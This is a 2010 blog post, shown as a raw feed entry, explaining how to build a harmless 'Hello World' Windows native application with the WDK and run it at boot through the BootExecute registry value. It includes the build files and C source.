/&gt;&lt;br /&gt;1) regedit&lt;br /&gt;2) WDK&lt;br /&gt;&lt;br /&gt;Using WDK we&#39;ll compile our native application. and using regedit we&#39;ll enable windows to load our small utility at boot time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Step 1: Adding Registry Entry&lt;/span&gt;&lt;br /&gt;------------------------&lt;br /&gt;Well let&#39;s start with easier step. &lt;span style=&quot;font-weight:bold;&quot;&gt;HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute&lt;/span&gt; is the value that will run our application at boot time.&lt;br /&gt;&lt;br /&gt;BootExecute is a multi-line value so don&#39;t forget to add your entry after the existing entries :) (unless you want to remove default entries, which might help you if you are sick of the stupid, self righteous chkdsk utility ;))&lt;br /&gt;&lt;br /&gt;Make sure that you copy hello.exe to c:\Windows\System32. &lt;br /&gt;&lt;br /&gt;My BootExecute looks like this:&lt;br /&gt;&lt;br /&gt;&lt;PRE class=&quot;brush:cpp&quot;&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]&lt;br /&gt;&quot;BootExecute&quot;=hex(7):61,00,75,00,74,00,6f,00,63,00,68,00,65,00,63,00,6b,00,20,\&lt;br /&gt;  00,61,00,75,00,74,00,6f,00,63,00,68,00,6b,00,20,00,2a,00,00,00,68,00,65,00,\&lt;br /&gt;  6c,00,6c,00,6f,00,00,00,00,00&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This looks scary but in regedit you can set BootExecute to:&lt;br /&gt;&lt;br /&gt;autocheck autochk *&lt;br /&gt;hello&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Step 2: Compiling The Code&lt;/span&gt;&lt;br /&gt;------------------------&lt;br /&gt;I have compiled this code with WinDDK version 6001.18002. For this you need 3 files in a directory and using build environment fpr your target give &quot;build&quot; command.&lt;br /&gt;&lt;br /&gt;1. &quot;Source&quot;:&lt;br /&gt;------------------&lt;br /&gt;&lt;PRE class=&quot;brush:cpp&quot;&gt;TARGETNAME=hello&lt;br /&gt;TARGETTYPE=PROGRAM&lt;br /&gt;UMTYPE=nt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C_DEFINES=$(C_DEFINES) -DUNICODE -D_UNICODE&lt;br /&gt;&lt;br /&gt;LINKLIBS=$(SDK_LIB_PATH)\shell32.lib&lt;br /&gt;&lt;br /&gt;INCLUDES=$(INCLUDES);         \&lt;br /&gt;         $(DDK_INC_PATH);     \&lt;br /&gt;&lt;br /&gt;SOURCES=hello.c  &lt;br /&gt;&lt;br /&gt;!if &quot;$(DDK_TARGET_OS)&quot;==&quot;WinLH&quot;&lt;br /&gt;_NT_TARGET_VERSION=$(_NT_TARGET_VERSION_WINXP)&lt;br /&gt;!endif&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. &quot;makefile&quot;&lt;br /&gt;------------------&lt;br /&gt;&lt;PRE&gt;!INCLUDE $(NTMAKEENV)\makefile.def&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. hello.c&lt;br /&gt;------------------&lt;br /&gt;&lt;PRE&gt;#include &quot;ntddk.h&quot;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;typedef int     BOOL;&lt;br /&gt;typedef unsigned long  DWORD;&lt;br /&gt;typedef unsigned __int64  ULONGLONG;&lt;br /&gt;&lt;br /&gt;NTSYSAPI&lt;br /&gt;NTSTATUS&lt;br /&gt;NTAPI&lt;br /&gt;NtDelayExecution(&lt;br /&gt; IN ULONG bAlertable,&lt;br /&gt; IN PLARGE_INTEGER pDuration&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;NTSYSAPI&lt;br /&gt;NTSTATUS&lt;br /&gt;NTAPI&lt;br /&gt;NtDisplayString(&lt;br /&gt; IN PUNICODE_STRING pString&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;NTSYSAPI&lt;br /&gt;NTSTATUS&lt;br /&gt;NTAPI&lt;br /&gt;NtTerminateProcess(&lt;br /&gt; IN HANDLE hProcess,&lt;br /&gt; IN ULONG ExitCode&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VOID __stdcall Print(__wchar_t *msg);&lt;br /&gt;VOID __stdcall Sleep(DWORD dwMilliseconds);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void NtProcessStartup( PVOID arg) {&lt;br /&gt; int i;&lt;br /&gt; Print(L&quot;Hello World!!!\n&quot;);&lt;br /&gt; Print(L&quot;Sleeping for 10 seconds&quot;);&lt;br /&gt;&lt;br /&gt; for (i=0; i &lt; 10; i++)&lt;br /&gt; {&lt;br /&gt;  Print(L&quot;.&quot;);&lt;br /&gt;  Sleep(1000);&lt;br /&gt; }&lt;br /&gt; Print(L&quot;\nNow loading Windows&quot;);&lt;br /&gt;  Sleep(1000);&lt;br /&gt; NtTerminateProcess( NtCurrentProcess(), 0 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;VOID __stdcall Print(__wchar_t *msg) {&lt;br /&gt; UNICODE_STRING umsg;&lt;br /&gt; RtlInitUnicodeString (&amp;umsg, msg);&lt;br /&gt; NtDisplayString(&amp;umsg);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;VOID __stdcall Sleep(DWORD dwMilliseconds) {&lt;br /&gt; LARGE_INTEGER Interval;&lt;br /&gt; NTSTATUS errCode;&lt;br /&gt;&lt;br /&gt; #pragma warning( disable : 4146 )&lt;br /&gt; Interval.QuadPart = -(ULONGLONG)dwMilliseconds * 10000;&lt;br /&gt; #pragma warning( default : 4146 )&lt;br /&gt;&lt;br /&gt; errCode = NtDelayExecution (FALSE, &amp;Interval);&lt;br /&gt;&lt;br /&gt; return;&lt;br /&gt;}&lt;/PRE&gt;</content><link rel='replies' type='application/atom+xml' href='http://hellocoding.blogspot.com/feeds/6051085228068845587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hellocoding.blogspot.com/2010/05/hello-world-for-boot-time-native.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/6051085228068845587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5844808105095076801/posts/default/6051085228068845587'/><link rel='alternate' type='text/html' href='http://hellocoding.blogspot.com/2010/05/hello-world-for-boot-time-native.html' title='Hello World for boot time native application'/><author><name>Fuaad Ahmad</name><uri>http://www.blogger.com/profile/12787877126127763430</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJaxYC8ooa5ZnBtoR6SBV9yokCIAwhKODPAjhwjALLeqK3QqTK_qjbaCMHXXNZ0h4dF7el_i0xkGLaxbImeYZecBm8DiI3p00_bAi2VcmltWypcgguW4wTiHu45eBJw/s220/DSCN5973.JPG'/></author><thr:total>0</thr:total></entry></feed>